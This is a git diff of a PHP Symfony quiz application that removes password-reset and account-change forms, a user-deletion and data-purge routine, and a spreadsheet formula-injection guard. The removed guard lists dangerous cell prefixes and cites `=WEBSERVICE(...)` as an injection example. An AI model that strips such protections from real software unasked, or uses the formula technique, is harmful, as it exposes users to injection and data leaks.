use Tvdt\Entity\Question;
|
|
||||||
use Tvdt\Entity\Quiz;
|
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
|
|
||||||
@@ -74,33 +70,6 @@ final class TestFixtures extends Fixture implements FixtureGroupInterface, Depen
|
|||||||
$krtek->addOwner($user);
|
$krtek->addOwner($user);
|
||||||
$anotherSeason->addOwner($user);
|
$anotherSeason->addOwner($user);
|
||||||
|
|
||||||
$soleOwner = new User();
|
|
||||||
$soleOwner->email = 'sole-owner@example.org';
|
|
||||||
$soleOwner->password = $this->passwordHasher->hashPassword($soleOwner, self::PASSWORD);
|
|
||||||
|
|
||||||
$manager->persist($soleOwner);
|
|
||||||
|
|
||||||
$doomedSeason = new Season();
|
|
||||||
$doomedSeason->name = 'Doomed Season';
|
|
||||||
$doomedSeason->seasonCode = 'doomd';
|
|
||||||
$doomedSeason->addCandidate(new Candidate('Vera'));
|
|
||||||
|
|
||||||
$quiz = new Quiz();
|
|
||||||
$quiz->name = 'Doomed Quiz';
|
|
||||||
|
|
||||||
$question = new Question();
|
|
||||||
$question->question = 'Wie is de Krtek?';
|
|
||||||
$question->ordering = 1;
|
|
||||||
$question->addAnswer(new Answer('Vera', true));
|
|
||||||
|
|
||||||
$quiz->addQuestion($question);
|
|
||||||
$doomedSeason->addQuiz($quiz);
|
|
||||||
|
|
||||||
$manager->persist($doomedSeason);
|
|
||||||
|
|
||||||
$doomedSeason->addOwner($soleOwner);
|
|
||||||
$anotherSeason->addOwner($soleOwner);
|
|
||||||
|
|
||||||
$manager->flush();
|
$manager->flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -54,13 +54,6 @@ class Question implements \Stringable
|
|||||||
return $this;
|
return $this;
|
||||||
}
|
}
|
||||||
|
|
||||||
public function removeAnswer(Answer $answer): static
|
|
||||||
{
|
|
||||||
$this->answers->removeElement($answer);
|
|
||||||
|
|
||||||
return $this;
|
|
||||||
}
|
|
||||||
|
|
||||||
public function __toString(): string
|
public function __toString(): string
|
||||||
{
|
{
|
||||||
return $this->question ?? '';
|
return $this->question ?? '';
|
||||||
|
|||||||
@@ -1,36 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Entity;
|
|
||||||
|
|
||||||
use Doctrine\ORM\Mapping as ORM;
|
|
||||||
use Symfony\Bridge\Doctrine\Types\UuidType;
|
|
||||||
use Symfony\Component\Uid\Uuid;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordRequestInterface;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordRequestTrait;
|
|
||||||
use Tvdt\Repository\ResetPasswordRequestRepository;
|
|
||||||
|
|
||||||
#[ORM\Entity(repositoryClass: ResetPasswordRequestRepository::class)]
|
|
||||||
class ResetPasswordRequest implements ResetPasswordRequestInterface
|
|
||||||
{
|
|
||||||
use ResetPasswordRequestTrait;
|
|
||||||
|
|
||||||
#[ORM\Column(type: UuidType::NAME, unique: true)]
|
|
||||||
#[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
|
|
||||||
#[ORM\GeneratedValue(strategy: 'CUSTOM')]
|
|
||||||
#[ORM\Id]
|
|
||||||
public private(set) Uuid $id;
|
|
||||||
|
|
||||||
public function __construct(#[ORM\JoinColumn(nullable: false)]
|
|
||||||
#[ORM\ManyToOne]
|
|
||||||
private User $user, \DateTimeInterface $expiresAt, string $selector, string $hashedToken)
|
|
||||||
{
|
|
||||||
$this->initialize($expiresAt, $selector, $hashedToken);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function getUser(): User
|
|
||||||
{
|
|
||||||
return $this->user;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -21,10 +21,6 @@ use Tvdt\Repository\UserRepository;
|
|||||||
#[UniqueEntity(fields: ['email'], message: 'There is already an account with this email')]
|
#[UniqueEntity(fields: ['email'], message: 'There is already an account with this email')]
|
||||||
class User implements UserInterface, PasswordAuthenticatedUserInterface
|
class User implements UserInterface, PasswordAuthenticatedUserInterface
|
||||||
{
|
{
|
||||||
public const int PASSWORD_MIN_LENGTH = 8;
|
|
||||||
|
|
||||||
public const int PASSWORD_MAX_LENGTH = 4096;
|
|
||||||
|
|
||||||
#[ORM\Column(type: UuidType::NAME, unique: true)]
|
#[ORM\Column(type: UuidType::NAME, unique: true)]
|
||||||
#[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
|
#[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
|
||||||
#[ORM\GeneratedValue(strategy: 'CUSTOM')]
|
#[ORM\GeneratedValue(strategy: 'CUSTOM')]
|
||||||
|
|||||||
@@ -19,9 +19,7 @@ class AddCandidatesFormType extends AbstractType
|
|||||||
{
|
{
|
||||||
$builder
|
$builder
|
||||||
->add('candidates', TextareaType::class, [
|
->add('candidates', TextareaType::class, [
|
||||||
'label' => $this->translator->trans('Candidates'),
|
'label' => $this->translator->trans('Candidates'), 'translation_domain' => false,
|
||||||
'help' => $this->translator->trans('One candidate per line'),
|
|
||||||
'translation_domain' => false,
|
|
||||||
])
|
])
|
||||||
;
|
;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -43,7 +43,6 @@ class BankQuestionFormType extends AbstractType
|
|||||||
'multiple' => true,
|
'multiple' => true,
|
||||||
'expanded' => true,
|
'expanded' => true,
|
||||||
'required' => false,
|
'required' => false,
|
||||||
'choice_attr' => static fn (QuestionLabel $label): array => ['data-colour' => $label->colour->value],
|
|
||||||
'query_builder' => static fn (QuestionLabelRepository $repository): QueryBuilder => $repository
|
'query_builder' => static fn (QuestionLabelRepository $repository): QueryBuilder => $repository
|
||||||
->createQueryBuilder('l')
|
->createQueryBuilder('l')
|
||||||
->where('l.season = :season')
|
->where('l.season = :season')
|
||||||
|
|||||||
@@ -1,44 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Form;
|
|
||||||
|
|
||||||
use Symfony\Component\Form\AbstractType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\EmailType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\SubmitType;
|
|
||||||
use Symfony\Component\Form\FormBuilderInterface;
|
|
||||||
use Symfony\Component\OptionsResolver\OptionsResolver;
|
|
||||||
use Symfony\Component\Validator\Constraints\Email;
|
|
||||||
use Symfony\Component\Validator\Constraints\NotBlank;
|
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
|
|
||||||
/** @extends AbstractType<array{email: string}> */
|
|
||||||
final class ChangeEmailFormType extends AbstractType
|
|
||||||
{
|
|
||||||
public function __construct(private readonly TranslatorInterface $translator) {}
|
|
||||||
|
|
||||||
public function buildForm(FormBuilderInterface $builder, array $options): void
|
|
||||||
{
|
|
||||||
$builder
|
|
||||||
->add('email', EmailType::class, [
|
|
||||||
'label' => $this->translator->trans('New email address'),
|
|
||||||
'attr' => ['autocomplete' => 'email'],
|
|
||||||
'mapped' => false,
|
|
||||||
'constraints' => [
|
|
||||||
new NotBlank(message: 'Please enter an email address'),
|
|
||||||
new Email(),
|
|
||||||
],
|
|
||||||
'translation_domain' => false,
|
|
||||||
])
|
|
||||||
->add('save', SubmitType::class, [
|
|
||||||
'label' => $this->translator->trans('Change email'),
|
|
||||||
'translation_domain' => false,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function configureOptions(OptionsResolver $resolver): void
|
|
||||||
{
|
|
||||||
$resolver->setDefaults([]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Form;
|
|
||||||
|
|
||||||
use Symfony\Component\Form\AbstractType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\PasswordType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\RepeatedType;
|
|
||||||
use Symfony\Component\Form\FormBuilderInterface;
|
|
||||||
use Symfony\Component\OptionsResolver\OptionsResolver;
|
|
||||||
use Symfony\Component\Validator\Constraints\Length;
|
|
||||||
use Symfony\Component\Validator\Constraints\NotBlank;
|
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
/** @extends AbstractType<array{plainPassword: string}> */
|
|
||||||
final class ChangePasswordFormType extends AbstractType
|
|
||||||
{
|
|
||||||
public function __construct(private readonly TranslatorInterface $translator) {}
|
|
||||||
|
|
||||||
public function buildForm(FormBuilderInterface $builder, array $options): void
|
|
||||||
{
|
|
||||||
$builder
|
|
||||||
->add('plainPassword', RepeatedType::class, [
|
|
||||||
'type' => PasswordType::class,
|
|
||||||
'options' => [
|
|
||||||
'attr' => ['autocomplete' => 'new-password'],
|
|
||||||
],
|
|
||||||
'first_options' => [
|
|
||||||
'label' => $this->translator->trans('New password'),
|
|
||||||
'constraints' => [
|
|
||||||
new NotBlank(message: 'Please enter a password'),
|
|
||||||
new Length(
|
|
||||||
min: User::PASSWORD_MIN_LENGTH,
|
|
||||||
max: User::PASSWORD_MAX_LENGTH,
|
|
||||||
minMessage: 'Your password should be at least {{ limit }} characters',
|
|
||||||
),
|
|
||||||
],
|
|
||||||
],
|
|
||||||
'second_options' => [
|
|
||||||
'label' => $this->translator->trans('Repeat Password'),
|
|
||||||
],
|
|
||||||
'invalid_message' => $this->translator->trans('The password fields must match.'),
|
|
||||||
'mapped' => false,
|
|
||||||
'translation_domain' => false,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function configureOptions(OptionsResolver $resolver): void
|
|
||||||
{
|
|
||||||
$resolver->setDefaults([]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,70 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Form;
|
|
||||||
|
|
||||||
use Symfony\Component\Form\AbstractType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\PasswordType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\RepeatedType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\SubmitType;
|
|
||||||
use Symfony\Component\Form\FormBuilderInterface;
|
|
||||||
use Symfony\Component\OptionsResolver\OptionsResolver;
|
|
||||||
use Symfony\Component\Security\Core\Validator\Constraints\UserPassword;
|
|
||||||
use Symfony\Component\Validator\Constraints\Length;
|
|
||||||
use Symfony\Component\Validator\Constraints\NotBlank;
|
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
/** @extends AbstractType<array{currentPassword: string, plainPassword: string}> */
|
|
||||||
final class ChangeUserPasswordFormType extends AbstractType
|
|
||||||
{
|
|
||||||
public function __construct(private readonly TranslatorInterface $translator) {}
|
|
||||||
|
|
||||||
public function buildForm(FormBuilderInterface $builder, array $options): void
|
|
||||||
{
|
|
||||||
$builder
|
|
||||||
->add('currentPassword', PasswordType::class, [
|
|
||||||
'label' => $this->translator->trans('Current password'),
|
|
||||||
'attr' => ['autocomplete' => 'current-password'],
|
|
||||||
'mapped' => false,
|
|
||||||
'constraints' => [
|
|
||||||
new NotBlank(message: 'Please enter your current password'),
|
|
||||||
new UserPassword(message: 'This is not your current password.'),
|
|
||||||
],
|
|
||||||
'translation_domain' => false,
|
|
||||||
])
|
|
||||||
->add('plainPassword', RepeatedType::class, [
|
|
||||||
'type' => PasswordType::class,
|
|
||||||
'options' => [
|
|
||||||
'attr' => ['autocomplete' => 'new-password'],
|
|
||||||
],
|
|
||||||
'first_options' => [
|
|
||||||
'label' => $this->translator->trans('New password'),
|
|
||||||
'constraints' => [
|
|
||||||
new NotBlank(message: 'Please enter a password'),
|
|
||||||
new Length(
|
|
||||||
min: User::PASSWORD_MIN_LENGTH,
|
|
||||||
max: User::PASSWORD_MAX_LENGTH,
|
|
||||||
minMessage: 'Your password should be at least {{ limit }} characters',
|
|
||||||
),
|
|
||||||
],
|
|
||||||
],
|
|
||||||
'second_options' => [
|
|
||||||
'label' => $this->translator->trans('Repeat Password'),
|
|
||||||
],
|
|
||||||
'invalid_message' => $this->translator->trans('The password fields must match.'),
|
|
||||||
'mapped' => false,
|
|
||||||
'translation_domain' => false,
|
|
||||||
])
|
|
||||||
->add('save', SubmitType::class, [
|
|
||||||
'label' => $this->translator->trans('Change password'),
|
|
||||||
'translation_domain' => false,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function configureOptions(OptionsResolver $resolver): void
|
|
||||||
{
|
|
||||||
$resolver->setDefaults([]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -38,7 +38,7 @@ class RegistrationFormType extends AbstractType
|
|||||||
'mapped' => false,
|
'mapped' => false,
|
||||||
'constraints' => [
|
'constraints' => [
|
||||||
new NotBlank(message: 'Please enter a password'),
|
new NotBlank(message: 'Please enter a password'),
|
||||||
new Length(min: User::PASSWORD_MIN_LENGTH, max: User::PASSWORD_MAX_LENGTH, minMessage: 'Your password should be at least {{ limit }} characters'),
|
new Length(min: 8, max: 4096, minMessage: 'Your password should be at least {{ limit }} characters'),
|
||||||
],
|
],
|
||||||
'translation_domain' => false,
|
'translation_domain' => false,
|
||||||
])
|
])
|
||||||
|
|||||||
@@ -1,36 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Form;
|
|
||||||
|
|
||||||
use Symfony\Component\Form\AbstractType;
|
|
||||||
use Symfony\Component\Form\Extension\Core\Type\EmailType;
|
|
||||||
use Symfony\Component\Form\FormBuilderInterface;
|
|
||||||
use Symfony\Component\OptionsResolver\OptionsResolver;
|
|
||||||
use Symfony\Component\Validator\Constraints\NotBlank;
|
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
|
|
||||||
/** @extends AbstractType<array{email: string}> */
|
|
||||||
final class ResetPasswordRequestFormType extends AbstractType
|
|
||||||
{
|
|
||||||
public function __construct(private readonly TranslatorInterface $translator) {}
|
|
||||||
|
|
||||||
public function buildForm(FormBuilderInterface $builder, array $options): void
|
|
||||||
{
|
|
||||||
$builder
|
|
||||||
->add('email', EmailType::class, [
|
|
||||||
'label' => $this->translator->trans('Email'),
|
|
||||||
'attr' => ['autocomplete' => 'email'],
|
|
||||||
'translation_domain' => false,
|
|
||||||
'constraints' => [
|
|
||||||
new NotBlank(message: 'Please enter your email'),
|
|
||||||
],
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function configureOptions(OptionsResolver $resolver): void
|
|
||||||
{
|
|
||||||
$resolver->setDefaults([]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Helpers;
|
|
||||||
|
|
||||||
use Symfony\Component\String\Slugger\AsciiSlugger;
|
|
||||||
|
|
||||||
class FilenameSanitizer
|
|
||||||
{
|
|
||||||
/** Slugs user-supplied text (e.g. a season/quiz name) into a string safe to use as a zip entry path segment or a downloaded filename. */
|
|
||||||
public static function sanitize(string $value): string
|
|
||||||
{
|
|
||||||
$slug = new AsciiSlugger()->slug($value)->toString();
|
|
||||||
|
|
||||||
return '' === $slug ? 'unnamed' : $slug;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Helpers;
|
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Stores any string that would otherwise be auto-detected as a spreadsheet formula (or that
|
|
||||||
* spreadsheet software re-interprets as one on open/paste) as plain text instead, to prevent
|
|
||||||
* formula injection via user-controlled export data (e.g. a candidate or answer named
|
|
||||||
* `=WEBSERVICE(...)`).
|
|
||||||
*/
|
|
||||||
final class FormulaInjectionSafeValueBinder extends DefaultValueBinder
|
|
||||||
{
|
|
||||||
private const string DANGEROUS_PREFIXES = "=+-@\t\r";
|
|
||||||
|
|
||||||
#[\Override]
|
|
||||||
public function bindValue(Cell $cell, mixed $value): bool
|
|
||||||
{
|
|
||||||
if (\is_string($value) && '' !== $value && str_contains(self::DANGEROUS_PREFIXES, $value[0])) {
|
|
||||||
$cell->setValueExplicit($value);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return parent::bindValue($cell, $value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -19,12 +19,6 @@ class CandidateRepository extends ServiceEntityRepository
|
|||||||
parent::__construct($registry, Candidate::class);
|
parent::__construct($registry, Candidate::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function deleteCandidate(Candidate $candidate): void
|
|
||||||
{
|
|
||||||
$this->getEntityManager()->remove($candidate);
|
|
||||||
$this->getEntityManager()->flush();
|
|
||||||
}
|
|
||||||
|
|
||||||
public function getCandidateByHash(Season $season, string $hash): ?Candidate
|
public function getCandidateByHash(Season $season, string $hash): ?Candidate
|
||||||
{
|
{
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -6,9 +6,7 @@ namespace Tvdt\Repository;
|
|||||||
|
|
||||||
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
||||||
use Doctrine\Persistence\ManagerRegistry;
|
use Doctrine\Persistence\ManagerRegistry;
|
||||||
use Tvdt\Entity\Candidate;
|
|
||||||
use Tvdt\Entity\GivenAnswer;
|
use Tvdt\Entity\GivenAnswer;
|
||||||
use Tvdt\Entity\Quiz;
|
|
||||||
|
|
||||||
/** @extends ServiceEntityRepository<GivenAnswer> */
|
/** @extends ServiceEntityRepository<GivenAnswer> */
|
||||||
class GivenAnswerRepository extends ServiceEntityRepository
|
class GivenAnswerRepository extends ServiceEntityRepository
|
||||||
@@ -17,15 +15,4 @@ class GivenAnswerRepository extends ServiceEntityRepository
|
|||||||
{
|
{
|
||||||
parent::__construct($registry, GivenAnswer::class);
|
parent::__construct($registry, GivenAnswer::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function deleteAllForCandidateInQuiz(Quiz $quiz, Candidate $candidate): void
|
|
||||||
{
|
|
||||||
$givenAnswers = $this->findBy(['quiz' => $quiz, 'candidate' => $candidate]);
|
|
||||||
|
|
||||||
foreach ($givenAnswers as $givenAnswer) {
|
|
||||||
$this->getEntityManager()->remove($givenAnswer);
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->getEntityManager()->flush();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -68,15 +68,4 @@ class QuizCandidateRepository extends ServiceEntityRepository
|
|||||||
$quizCandidate->penaltySeconds = $penalty;
|
$quizCandidate->penaltySeconds = $penalty;
|
||||||
$this->getEntityManager()->flush();
|
$this->getEntityManager()->flush();
|
||||||
}
|
}
|
||||||
|
|
||||||
public function resetProgressForCandidate(Quiz $quiz, Candidate $candidate): void
|
|
||||||
{
|
|
||||||
$quizCandidate = $this->findOneBy(['candidate' => $candidate, 'quiz' => $quiz]);
|
|
||||||
if (!$quizCandidate instanceof QuizCandidate) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$quizCandidate->started = null;
|
|
||||||
$this->getEntityManager()->flush();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,31 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Repository;
|
|
||||||
|
|
||||||
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
|
||||||
use Doctrine\Persistence\ManagerRegistry;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordRequestInterface;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Persistence\Repository\ResetPasswordRequestRepositoryTrait;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Persistence\ResetPasswordRequestRepositoryInterface;
|
|
||||||
use Tvdt\Entity\ResetPasswordRequest;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
/** @extends ServiceEntityRepository<ResetPasswordRequest> */
|
|
||||||
final class ResetPasswordRequestRepository extends ServiceEntityRepository implements ResetPasswordRequestRepositoryInterface
|
|
||||||
{
|
|
||||||
use ResetPasswordRequestRepositoryTrait;
|
|
||||||
|
|
||||||
public function __construct(ManagerRegistry $registry)
|
|
||||||
{
|
|
||||||
parent::__construct($registry, ResetPasswordRequest::class);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function createResetPasswordRequest(object $user, \DateTimeInterface $expiresAt, string $selector, string $hashedToken): ResetPasswordRequestInterface
|
|
||||||
{
|
|
||||||
\assert($user instanceof User);
|
|
||||||
|
|
||||||
return new ResetPasswordRequest($user, $expiresAt, $selector, $hashedToken);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -5,15 +5,9 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Repository;
|
namespace Tvdt\Repository;
|
||||||
|
|
||||||
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use Doctrine\Persistence\ManagerRegistry;
|
use Doctrine\Persistence\ManagerRegistry;
|
||||||
use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
|
use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
|
||||||
use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
|
use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
|
||||||
use Tvdt\Entity\BankQuestion;
|
|
||||||
use Tvdt\Entity\Elimination;
|
|
||||||
use Tvdt\Entity\GivenAnswer;
|
|
||||||
use Tvdt\Entity\QuizCandidate;
|
|
||||||
use Tvdt\Entity\Season;
|
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
|
|
||||||
/** @extends ServiceEntityRepository<User> */
|
/** @extends ServiceEntityRepository<User> */
|
||||||
@@ -34,94 +28,6 @@ class UserRepository extends ServiceEntityRepository implements PasswordUpgrader
|
|||||||
$this->getEntityManager()->flush();
|
$this->getEntityManager()->flush();
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Deletes all outstanding reset-password tokens for the user (e.g. after a password or email change). */
|
|
||||||
public function invalidateResetPasswordRequests(User $user): void
|
|
||||||
{
|
|
||||||
$this->getEntityManager()
|
|
||||||
->createQuery('delete from Tvdt\Entity\ResetPasswordRequest r where r.user = :user')
|
|
||||||
->setParameter('user', $user)
|
|
||||||
->execute();
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Deletes the user, all seasons the user is the sole owner of, and the user's ownership of shared seasons. */
|
|
||||||
public function deleteUser(User $user): void
|
|
||||||
{
|
|
||||||
$em = $this->getEntityManager();
|
|
||||||
$em->wrapInTransaction(function () use ($em, $user): void {
|
|
||||||
$this->invalidateResetPasswordRequests($user);
|
|
||||||
|
|
||||||
$bankQuestionIds = [];
|
|
||||||
foreach ($user->seasons->toArray() as $season) {
|
|
||||||
if (1 === $season->owners->count()) {
|
|
||||||
$this->purgeSoftDeletableData($em, $season);
|
|
||||||
array_push($bankQuestionIds, ...$this->bankQuestionIds($season));
|
|
||||||
$em->remove($season);
|
|
||||||
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
$season->removeOwner($user);
|
|
||||||
}
|
|
||||||
|
|
||||||
$em->remove($user);
|
|
||||||
$em->flush();
|
|
||||||
|
|
||||||
// Gedmo\Loggable writes its own "removed" log entry as part of the flush above, so the
|
|
||||||
// audit-log purge must happen after — purging first would just leave that final row behind.
|
|
||||||
$this->purgeBankQuestionAuditLog($em, $bankQuestionIds);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* QuizCandidate, GivenAnswer, and Elimination are Gedmo\SoftDeleteable, so cascading their
|
|
||||||
* removal through the season/quiz/candidate relations only sets deletedAt — it never removes
|
|
||||||
* the row. That leaves personal data behind indefinitely and, since Candidate/Answer are hard
|
|
||||||
* deleted via orphanRemoval, it also breaks their foreign keys and rolls back the whole
|
|
||||||
* deletion. Bulk DQL deletes bypass the Gedmo listener and physically remove these rows first.
|
|
||||||
*/
|
|
||||||
private function purgeSoftDeletableData(EntityManagerInterface $em, Season $season): void
|
|
||||||
{
|
|
||||||
foreach ([QuizCandidate::class, GivenAnswer::class, Elimination::class] as $class) {
|
|
||||||
$em->createQuery(<<<DQL
|
|
||||||
delete from {$class} e
|
|
||||||
where e.quiz in (select q from Tvdt\Entity\Quiz q where q.season = :season)
|
|
||||||
DQL)
|
|
||||||
->setParameter('season', $season)
|
|
||||||
->execute();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @return list<string> */
|
|
||||||
private function bankQuestionIds(Season $season): array
|
|
||||||
{
|
|
||||||
return array_values(array_map(
|
|
||||||
static fn (BankQuestion $bankQuestion): string => $bankQuestion->id->toString(),
|
|
||||||
$season->bankQuestions->toArray(),
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gedmo\Loggable audit rows (ext_log_entries) aren't foreign-keyed to the entity they log —
|
|
||||||
* object_id is a plain string — so removing a BankQuestion never cleans up its history, and
|
|
||||||
* the editor's username/email would otherwise remain in those rows forever.
|
|
||||||
*
|
|
||||||
* @param list<string> $bankQuestionIds
|
|
||||||
*/
|
|
||||||
private function purgeBankQuestionAuditLog(EntityManagerInterface $em, array $bankQuestionIds): void
|
|
||||||
{
|
|
||||||
if ([] === $bankQuestionIds) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$em->createQuery(<<<'DQL'
|
|
||||||
delete from Tvdt\Entity\LogEntry l
|
|
||||||
where l.objectClass = :class and l.objectId in (:ids)
|
|
||||||
DQL)
|
|
||||||
->setParameter('class', BankQuestion::class)
|
|
||||||
->setParameter('ids', $bankQuestionIds)
|
|
||||||
->execute();
|
|
||||||
}
|
|
||||||
|
|
||||||
public function makeAdmin(string $email): void
|
public function makeAdmin(string $email): void
|
||||||
{
|
{
|
||||||
$user = $this->findOneBy(['email' => $email]);
|
$user = $this->findOneBy(['email' => $email]);
|
||||||
|
|||||||
@@ -5,12 +5,10 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Security;
|
namespace Tvdt\Security;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
use Doctrine\ORM\EntityManagerInterface;
|
||||||
use Psr\Log\LoggerInterface;
|
|
||||||
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
|
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
|
use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
|
||||||
use Symfony\Component\Mailer\MailerInterface;
|
use Symfony\Component\Mailer\MailerInterface;
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
use SymfonyCasts\Bundle\VerifyEmail\VerifyEmailHelperInterface;
|
use SymfonyCasts\Bundle\VerifyEmail\VerifyEmailHelperInterface;
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
|
|
||||||
@@ -20,29 +18,8 @@ readonly class EmailVerifier
|
|||||||
private VerifyEmailHelperInterface $verifyEmailHelper,
|
private VerifyEmailHelperInterface $verifyEmailHelper,
|
||||||
private MailerInterface $mailer,
|
private MailerInterface $mailer,
|
||||||
private EntityManagerInterface $entityManager,
|
private EntityManagerInterface $entityManager,
|
||||||
private TranslatorInterface $translator,
|
|
||||||
private LoggerInterface $logger,
|
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/** Sends the standard confirmation email to the user. Returns false (and logs) on transport errors. */
|
|
||||||
public function sendDefaultConfirmation(User $user): bool
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
$this->sendEmailConfirmation('tvdt_verify_email', $user,
|
|
||||||
new TemplatedEmail()
|
|
||||||
->to($user->email)
|
|
||||||
->subject($this->translator->trans('Please Confirm your Email'))
|
|
||||||
->htmlTemplate('backoffice/registration/confirmation_email.html.twig'),
|
|
||||||
);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
} catch (TransportExceptionInterface $transportException) {
|
|
||||||
$this->logger->error($transportException->getMessage());
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @throws TransportExceptionInterface */
|
/** @throws TransportExceptionInterface */
|
||||||
public function sendEmailConfirmation(string $verifyEmailRouteName, User $user, TemplatedEmail $email): void
|
public function sendEmailConfirmation(string $verifyEmailRouteName, User $user, TemplatedEmail $email): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,48 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
